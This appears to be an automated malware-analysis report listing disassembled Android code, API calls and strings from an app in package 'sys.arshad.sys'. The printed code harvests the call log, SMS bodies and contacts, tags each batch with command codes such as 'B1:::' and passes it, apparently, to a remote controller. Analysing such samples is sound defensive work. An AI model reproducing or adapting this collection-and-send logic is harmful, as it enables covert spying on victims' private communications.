123invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
124move-result-object v4
126invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
127move-result-object v4
129invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
130goto/16 :goto_6c
131cond_b7:
132invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
133move-result-object v0
135iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$43;->a:Lsys/arshad/sys/MainActivity$b;
137iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
138new-instance v3, Ljava/lang/StringBuilder;
140invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
142const-string v4, "B19:::"
144invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B19:::
145move-result-object v3
147invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
148move-result-object v1
150invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
151move-result-object v1
153const-string v3, "[(1)sp]"
155invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
156move-result-object v1
158iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$43;->a:Lsys/arshad/sys/MainActivity$b;
160iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
162invoke-static {v3}, Lsys/arshad/sys/MainActivity;->l(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
163move-result-object v3
165invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
166move-result-object v1
168const-string v3, "K"
170invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: K
171move-result-object v1
173const-string v3, "[(1)sp]"
175invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(1)sp]
176move-result-object v1
178invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
179move-result-object v0
181const-string v1, "[(0)tcp]"
183invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
184move-result-object v0
186iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$43;->a:Lsys/arshad/sys/MainActivity$b;
188iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
190iget-object v1, v1, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
192invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
193move-result-object v0
195invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
196move-result-object v0
198invoke-virtual {v2, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
199goto_10b: return-void
200cond_10c:
201iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$43;->a:Lsys/arshad/sys/MainActivity$b;
203iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
204new-instance v1, Ljava/lang/StringBuilder;
206invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
208const-string v2, "B19:::No activation of property[(0)tcp]"
210invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B19:::No activation of property[(0)tcp]
211move-result-object v1
213iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$43;->a:Lsys/arshad/sys/MainActivity$b;
215iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
217iget-object v2, v2, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
219invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
220move-result-object v1
222invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
223move-result-object v1
225invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
226goto/16 :goto_10b
APIs
  • java.lang.StringBuffer.<init>
  • sys.arshad.sys.MainActivity.managedQuery
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.moveToNext
  • android.database.Cursor.getString
  • java.lang.Long.valueOf
  • java.lang.Long.longValue
  • java.util.Date.<init>
  • android.database.Cursor.getString
  • java.lang.Integer.parseInt
  • android.net.Uri.encode
  • android.net.Uri.withAppendedPath
  • sys.arshad.sys.MainActivity.getContentResolver
  • android.content.ContentResolver.query
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.close
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuffer.append
  • java.lang.Exception.printStackTrace
  • android.database.Cursor.close
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuffer.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • display_name
  • date DESC
  • number
  • type
  • date
  • duration
  • [(0)sp]
  • [(0)Ln]
  • Outgoing
  • Incoming
  • Missed
  • B1:::
  • [(0)tcp]
Position Instruction Meta Information
0const/4 v2, 0x1
1new-array v11, v2, [Ljava/lang/String;
2const/4 v2, 0x0
4const-string v3, "display_name"
5aput-object v3, v11, v2
6try_start_8: new-instance v12, Ljava/lang/StringBuffer;
8invoke-direct {v12}, Ljava/lang/StringBuffer;-><init>()V
10const-string v7, "date DESC"
11move-object/from16 v0, p0
13iget-object v2, v0, Lsys/arshad/sys/MainActivity$b$12;->a:Lsys/arshad/sys/MainActivity$b;
15iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
17sget-object v3, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri;
18const/4 v4, 0x0
19const/4 v5, 0x0
20const/4 v6, 0x0
22invoke-virtual/range {v2 .. v7}, Lsys/arshad/sys/MainActivity;->managedQuery(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p1: 0
    • p2: 0
    • p3: 0
    • p4: date DESC
23move-result-object v13
25const-string v2, "number"
27invoke-interface {v13, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: number
28move-result v14
30const-string v2, "type"
32invoke-interface {v13, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: type
33move-result v15
35const-string v2, "date"
37invoke-interface {v13, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: date
38move-result v16
40const-string v2, "duration"
42invoke-interface {v13, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: duration
43move-result v17
44goto_36:
45invoke-interface {v13}, Landroid/database/Cursor;->moveToNext()Z
46move-result v2
47if-eqz v2, :cond_108
49invoke-interface {v13, v14}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
50move-result-object v18
52invoke-interface {v13, v15}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
53move-result-object v3
54move/from16 v0, v16
56invoke-interface {v13, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
57move-result-object v2
58new-instance v19, Ljava/util/Date;
60invoke-static {v2}, Ljava/lang/Long;->valueOf(Ljava/lang/String;)Ljava/lang/Long;
61move-result-object v2
63invoke-virtual {v2}, Ljava/lang/Long;->longValue()J
64move-result-wide v4
65move-object/from16 v0, v19
67invoke-direct {v0, v4, v5}, Ljava/util/Date;-><init>(J)V
  • Data flow analysis:
    • p1: 0
68move/from16 v0, v17
70invoke-interface {v13, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
71move-result-object v20
72const/4 v2, 0x0
74invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
75try_end_63: move-result v3
76packed-switch v3, :pswitch_data_14a
77move-object v8, v2
78goto_68: const/4 v10, 0x0
79const/4 v9, 0x0
80try_start_6a:
81sget-object v2, Landroid/provider/ContactsContract$PhoneLookup;->CONTENT_FILTER_URI:Landroid/net/Uri;
83invoke-static/range {v18 .. v18}, Landroid/net/Uri;->encode(Ljava/lang/String;)Ljava/lang/String;
84move-result-object v3
86invoke-static {v2, v3}, Landroid/net/Uri;->withAppendedPath(Landroid/net/Uri;Ljava/lang/String;)Landroid/net/Uri;
87move-result-object v3
88move-object/from16 v0, p0
90iget-object v2, v0, Lsys/arshad/sys/MainActivity$b$12;->a:Lsys/arshad/sys/MainActivity$b;
92iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
94invoke-virtual {v2}, Lsys/arshad/sys/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
95move-result-object v2
96const/4 v5, 0x0
97const/4 v6, 0x0
98const/4 v7, 0x0
99move-object v4, v11
101invoke-virtual/range {v2 .. v7}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p2: 0
    • p3: 0
    • p4: 0
102try_end_85: move-result-object v3
103if-eqz v3, :cond_146
104try_start_88:
105invoke-interface {v3}, Landroid/database/Cursor;->moveToFirst()Z
106move-result v2
107if-eqz v2, :cond_146
109const-string v2, "display_name"
111invoke-interface {v3, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: display_name
112move-result v2
114invoke-interface {v3, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
115try_end_97: move-result-object v10
116move-object v2, v10
117goto_99: if-eqz v3, :cond_9e
118try_start_9b:
119invoke-interface {v3}, Landroid/database/Cursor;->close()V
120goto_9e: new-instance v3, Ljava/lang/StringBuilder;
122invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
123move-object/from16 v0, v18
125invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
126move-result-object v3
128const-string v4, "[(0)sp]"
130invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
131move-result-object v3
133invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
134move-result-object v2
136const-string v3, "[(0)sp]"
138invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
139move-result-object v2
141invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
142move-result-object v2
144const-string v3, "[(0)sp]"
146invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
147move-result-object v2
148move-object/from16 v0, v19
150invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
151move-result-object v2
153const-string v3, "[(0)sp]"
155invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
156move-result-object v2
157move-object/from16 v0, v20
159invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
160move-result-object v2
162const-string v3, "[(0)Ln]"
164invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
165move-result-object v2
167invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
168move-result-object v2
170invoke-virtual {v12, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
171goto/16 :goto_36
172catch_e4: move-exception v2
173goto_e5: return-void
174pswitch_e6:
175const-string v2, "Outgoing"
176move-object v8, v2
177goto/16 :goto_68
178pswitch_eb:
179const-string v2, "Incoming"
180move-object v8, v2
181goto/16 :goto_68
182pswitch_f0:
183const-string v2, "Missed"
184try_end_f2: move-object v8, v2
185goto/16 :goto_68
186catch_f5: move-exception v2
187move-object v3, v9
188try_start_f7:
189invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
190try_end_fa: if-eqz v3, :cond_143
191try_start_fc:
192invoke-interface {v3}, Landroid/database/Cursor;->close()V
193move-object v2, v10
194goto/16 :goto_9e
195catchall_101: move-exception v2
196goto_102: if-eqz v9, :cond_107
198invoke-interface {v9}, Landroid/database/Cursor;->close()V
199cond_107: throw v2
200cond_108:
201invoke-interface {v13}, Landroid/database/Cursor;->close()V
202move-object/from16 v0, p0
204iget-object v2, v0, Lsys/arshad/sys/MainActivity$b$12;->a:Lsys/arshad/sys/MainActivity$b;
206iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
207new-instance v3, Ljava/lang/StringBuilder;
209invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
211const-string v4, "B1:::"
213invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B1:::
214move-result-object v3
216invoke-virtual {v12}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
217move-result-object v4
219invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
220move-result-object v3
222const-string v4, "[(0)tcp]"
224invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
225move-result-object v3
226move-object/from16 v0, p0
228iget-object v4, v0, Lsys/arshad/sys/MainActivity$b$12;->a:Lsys/arshad/sys/MainActivity$b;
230iget-object v4, v4, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
232iget-object v4, v4, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
234invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
235move-result-object v3
237invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
238move-result-object v3
240invoke-virtual {v2, v3}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
241try_end_13d: goto/16 :goto_e5
242catchall_13e: move-exception v2
243move-object v9, v3
244goto/16 :goto_102
245catch_141: move-exception v2
246goto/16 :goto_f7
247cond_143: move-object v2, v10
248goto/16 :goto_9e
249cond_146: move-object v2, v10
250goto/16 :goto_99
251nop
APIs
  • java.lang.StringBuffer.<init>
  • android.net.Uri.parse
  • sys.arshad.sys.MainActivity.getContentResolver
  • android.content.ContentResolver.query
  • sys.arshad.sys.MainActivity.startManagingCursor
  • android.database.Cursor.getCount
  • android.database.Cursor.moveToNext
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.net.Uri.encode
  • android.net.Uri.withAppendedPath
  • sys.arshad.sys.MainActivity.getContentResolver
  • android.content.ContentResolver.query
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.close
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getLong
  • sys.arshad.sys.MainActivity.a
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuffer.append
  • java.lang.Exception.printStackTrace
  • android.database.Cursor.close
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuffer.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • display_name
  • _id
  • thread_id
  • address
  • person
  • date
  • body
  • type
  • \n
  • <New_Line>
  • [(0)sp]
  • [(0)Ln]
  • B6:::
  • [(0)tcp]
Position Instruction Meta Information
0const/4 v0, 0x1
1new-array v8, v0, [Ljava/lang/String;
2const/4 v0, 0x0
4const-string v1, "display_name"
5aput-object v1, v8, v0
6new-instance v9, Ljava/lang/StringBuffer;
8invoke-direct {v9}, Ljava/lang/StringBuffer;-><init>()V
10iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$1;->a:Ljava/lang/String;
12invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
13move-result-object v1
15iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$1;->b:Lsys/arshad/sys/MainActivity$b;
17iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
19invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
20move-result-object v0
21const/4 v2, 0x7
22new-array v2, v2, [Ljava/lang/String;
23const/4 v3, 0x0
25const-string v4, "_id"
26aput-object v4, v2, v3
27const/4 v3, 0x1
29const-string v4, "thread_id"
30aput-object v4, v2, v3
31const/4 v3, 0x2
33const-string v4, "address"
34aput-object v4, v2, v3
35const/4 v3, 0x3
37const-string v4, "person"
38aput-object v4, v2, v3
39const/4 v3, 0x4
41const-string v4, "date"
42aput-object v4, v2, v3
43const/4 v3, 0x5
45const-string v4, "body"
46aput-object v4, v2, v3
47const/4 v3, 0x6
49const-string v4, "type"
50aput-object v4, v2, v3
51const/4 v3, 0x0
52const/4 v4, 0x0
53const/4 v5, 0x0
55invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p2: 0
    • p3: 0
    • p4: 0
56move-result-object v10
58iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$1;->b:Lsys/arshad/sys/MainActivity$b;
60iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
62invoke-virtual {v0, v10}, Lsys/arshad/sys/MainActivity;->startManagingCursor(Landroid/database/Cursor;)V
63const/4 v0, 0x5
64new-array v11, v0, [Ljava/lang/String;
65const/4 v0, 0x0
67const-string v1, "address"
68aput-object v1, v11, v0
69const/4 v0, 0x1
71const-string v1, "person"
72aput-object v1, v11, v0
73const/4 v0, 0x2
75const-string v1, "date"
76aput-object v1, v11, v0
77const/4 v0, 0x3
79const-string v1, "body"
80aput-object v1, v11, v0
81const/4 v0, 0x4
83const-string v1, "_id"
84aput-object v1, v11, v0
86invoke-interface {v10}, Landroid/database/Cursor;->getCount()I
87move-result v0
88if-lez v0, :cond_125
89goto_71:
90invoke-interface {v10}, Landroid/database/Cursor;->moveToNext()Z
91move-result v0
92if-eqz v0, :cond_125
93const/4 v6, 0x0
94const/4 v7, 0x0
95const/4 v0, 0x0
96aget-object v0, v11, v0
98invoke-interface {v10, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
99move-result v0
101invoke-interface {v10, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
102move-result-object v12
103try_start_84:
104sget-object v0, Landroid/provider/ContactsContract$PhoneLookup;->CONTENT_FILTER_URI:Landroid/net/Uri;
106invoke-static {v12}, Landroid/net/Uri;->encode(Ljava/lang/String;)Ljava/lang/String;
107move-result-object v1
109invoke-static {v0, v1}, Landroid/net/Uri;->withAppendedPath(Landroid/net/Uri;Ljava/lang/String;)Landroid/net/Uri;
110move-result-object v1
112iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$1;->b:Lsys/arshad/sys/MainActivity$b;
114iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
116invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
117move-result-object v0
118const/4 v3, 0x0
119const/4 v4, 0x0
120const/4 v5, 0x0
121move-object v2, v8
123invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p2: 0
    • p3: 0
    • p4: 0
124try_end_9d: move-result-object v1
125if-eqz v1, :cond_15c
126try_start_a0:
127invoke-interface {v1}, Landroid/database/Cursor;->moveToFirst()Z
128move-result v0
129if-eqz v0, :cond_15c
131const-string v0, "display_name"
133invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: display_name
134move-result v0
136invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
137try_end_af: move-result-object v6
138move-object v0, v6
139goto_b1: if-eqz v1, :cond_b6
141invoke-interface {v1}, Landroid/database/Cursor;->close()V
142cond_b6: const/4 v1, 0x2
143aget-object v1, v11, v1
145invoke-interface {v10, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
146move-result v1
148invoke-interface {v10, v1}, Landroid/database/Cursor;->getLong(I)J
149move-result-wide v2
151iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$1;->b:Lsys/arshad/sys/MainActivity$b;
153iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
155invoke-virtual {v1, v2, v3}, Lsys/arshad/sys/MainActivity;->a(J)Ljava/lang/String;
  • Data flow analysis:
    • p1: 0
156move-result-object v1
157const/4 v2, 0x3
158aget-object v2, v11, v2
160invoke-interface {v10, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
161move-result v2
163invoke-interface {v10, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
164move-result-object v2
166const-string v3, "\n"
168const-string v4, "<New_Line>"
170invoke-virtual {v2, v3, v4}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \n
    • p1: <New_Line>
171move-result-object v2
172new-instance v3, Ljava/lang/StringBuilder;
174invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
176invoke-virtual {v3, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
177move-result-object v3
179const-string v4, "[(0)sp]"
181invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
182move-result-object v3
184invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
185move-result-object v0
187const-string v3, "[(0)sp]"
189invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
190move-result-object v0
192invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
193move-result-object v0
195const-string v1, "[(0)sp]"
197invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
198move-result-object v0
200invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
201move-result-object v0
203const-string v1, "[(0)Ln]"
205invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
206move-result-object v0
208invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
209move-result-object v0
211invoke-virtual {v9, v0}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
212goto/16 :goto_71
213catch_112: move-exception v0
214move-object v1, v7
215goto_114:
216invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
217try_end_117: if-eqz v1, :cond_159
219invoke-interface {v1}, Landroid/database/Cursor;->close()V
220move-object v0, v6
221goto/16 :goto_b6
222catchall_11e: move-exception v0
223goto_11f: if-eqz v7, :cond_124
225invoke-interface {v7}, Landroid/database/Cursor;->close()V
226cond_124: throw v0
227cond_125:
228iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$1;->b:Lsys/arshad/sys/MainActivity$b;
230iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
231new-instance v1, Ljava/lang/StringBuilder;
233invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
235const-string v2, "B6:::"
237invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B6:::
238move-result-object v1
240invoke-virtual {v9}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
241move-result-object v2
243invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
244move-result-object v1
246const-string v2, "[(0)tcp]"
248invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
249move-result-object v1
251iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$1;->b:Lsys/arshad/sys/MainActivity$b;
253iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
255iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
257invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
258move-result-object v1
260invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
261move-result-object v1
263invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
264return-void
265catchall_154: move-exception v0
266move-object v7, v1
267goto/16 :goto_11f
268catch_157: move-exception v0
269goto/16 :goto_114
270cond_159: move-object v0, v6
271goto/16 :goto_b6
272cond_15c: move-object v0, v6
273goto/16 :goto_b1
APIs
  • java.lang.StringBuffer.<init>
  • sys.arshad.sys.MainActivity.getContentResolver
  • android.content.ContentResolver.query
  • java.util.ArrayList.<init>
  • android.database.Cursor.moveToNext
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.lang.Integer.parseInt
  • sys.arshad.sys.MainActivity.getContentResolver
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.ContentResolver.query
  • android.database.Cursor.moveToNext
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.util.HashMap.<init>
  • java.util.HashMap.put
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.util.HashMap.put
  • java.lang.StringBuffer.append
  • java.util.ArrayList.add
  • android.database.Cursor.close
  • java.lang.StringBuffer.toString
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.String.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • _id
  • display_name
  • has_phone_number
  • contact_id =
  • data1
  • [(0)sp]
  • [(0)Ln]
  • ,
  • {
  • }
  • =
  • B10:::
  • [(0)tcp]
Position Instruction Meta Information
0const/4 v2, 0x0
1new-instance v6, Ljava/lang/StringBuffer;
3invoke-direct {v6}, Ljava/lang/StringBuffer;-><init>()V
5iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$23;->a:Lsys/arshad/sys/MainActivity$b;
7iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
9invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
10move-result-object v0
12sget-object v1, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;
13move-object v3, v2
14move-object v4, v2
15move-object v5, v2
17invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
